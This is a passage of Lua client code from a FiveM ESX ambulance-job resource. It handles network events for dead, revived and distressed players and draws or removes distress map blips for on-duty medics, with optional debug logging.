504 | if Config.Debug then
505 | print("[^2INFO^7] Removing dead blip - ^5" .. tostring(playerId).. "^7")
506 | end
507 | RemoveBlip(v)
508 | deadPlayerBlips[playerId] = nil
509 | end
510 |
511 | isOnDuty = false
512 | end
513 | end)
514 |
515 | RegisterNetEvent('esx_ambulancejob:PlayerDead')
516 | AddEventHandler('esx_ambulancejob:PlayerDead', function(Player)
517 | if Config.Debug then
518 | print("[^2INFO^7] Player Dead | ^5" .. tostring(Player) .. "^7")
519 | end
520 | deadPlayers[Player] = "dead"
521 | end)
522 |
523 | RegisterNetEvent('esx_ambulancejob:PlayerNotDead')
524 | AddEventHandler('esx_ambulancejob:PlayerNotDead', function(Player)
525 | if deadPlayerBlips[Player] then
526 | RemoveBlip(deadPlayerBlips[Player])
527 | deadPlayerBlips[Player] = nil
528 | end
529 | if Config.Debug then
530 | print("[^2INFO^7] Player Alive | ^5" .. tostring(Player) .. "^7")
531 | end
532 | deadPlayers[Player] = nil
533 | end)
534 |
535 | RegisterNetEvent('esx_ambulancejob:setDeadPlayers')
536 | AddEventHandler('esx_ambulancejob:setDeadPlayers', function(_deadPlayers)
537 | deadPlayers = _deadPlayers
538 |
539 | if isOnDuty then
540 | for playerId,v in pairs(deadPlayerBlips) do
541 | RemoveBlip(v)
542 | deadPlayerBlips[playerId] = nil
543 | end
544 |
545 | for playerId,status in pairs(deadPlayers) do
546 | if Config.Debug then
547 | print("[^2INFO^7] Player Dead | ^5" .. tostring(playerId) .. "^7")
548 | end
549 | if status == 'distress' then
550 | if Config.Debug then
551 | print("[^2INFO^7] Creating Distress Blip for Player - ^5" .. tostring(playerId) .. "^7")
552 | end
553 | local player = GetPlayerFromServerId(playerId)
554 | local playerPed = GetPlayerPed(player)
555 | local blip = AddBlipForEntity(playerPed)
556 |
557 | SetBlipSprite(blip, 303)
558 | SetBlipColour(blip, 1)
559 | SetBlipFlashes(blip, true)
560 | SetBlipCategory(blip, 7)
561 |
562 | BeginTextCommandSetBlipName('STRING')
563 | AddTextComponentSubstringPlayerName(TranslateCap('blip_dead'))
564 | EndTextCommandSetBlipName(blip)
565 |
566 | deadPlayerBlips[playerId] = blip
567 | end
568 | end
569 | end
570 | end)
571 |
572 |
573 | RegisterNetEvent('esx_ambulancejob:PlayerDistressed')
574 | AddEventHandler('esx_ambulancejob:PlayerDistressed', function(Player)
575 | deadPlayers[Player] = 'distress'
576 |
577 | if isOnDuty then
578 | if Config.Debug then
579 | print("[^2INFO^7] Player Distress Recived - ID:^5" .. tostring(Player) .. "^7")
580 | end
581 | ESX.ShowNotification("[DISPATCH]: An Unconscious Person Has Been Reported", "error", 10000)
582 | deadPlayerBlips[Player] = nil
583 | local player = GetPlayerFromServerId(Player)
584 | local playerPed = GetPlayerPed(player)
585 | local blip = AddBlipForEntity(playerPed)
586 |
587 | SetBlipSprite(blip, Config.DistressBlip.Sprite)
588 | SetBlipColour(blip, Config.DistressBlip.Color)
589 | SetBlipScale(blip, Config.DistressBlip.Scale)
590 | SetBlipFlashes(blip, true)
591 |
592 | BeginTextCommandSetBlipName('STRING')
593 | AddTextComponentSubstringPlayerName(TranslateCap('blip_dead'))
594 | EndTextCommandSetBlipName(blip)
595 |
596 | deadPlayerBlips[Player] = blip
597 | end
598 | end)
599 |
600 |
--------------------------------------------------------------------------------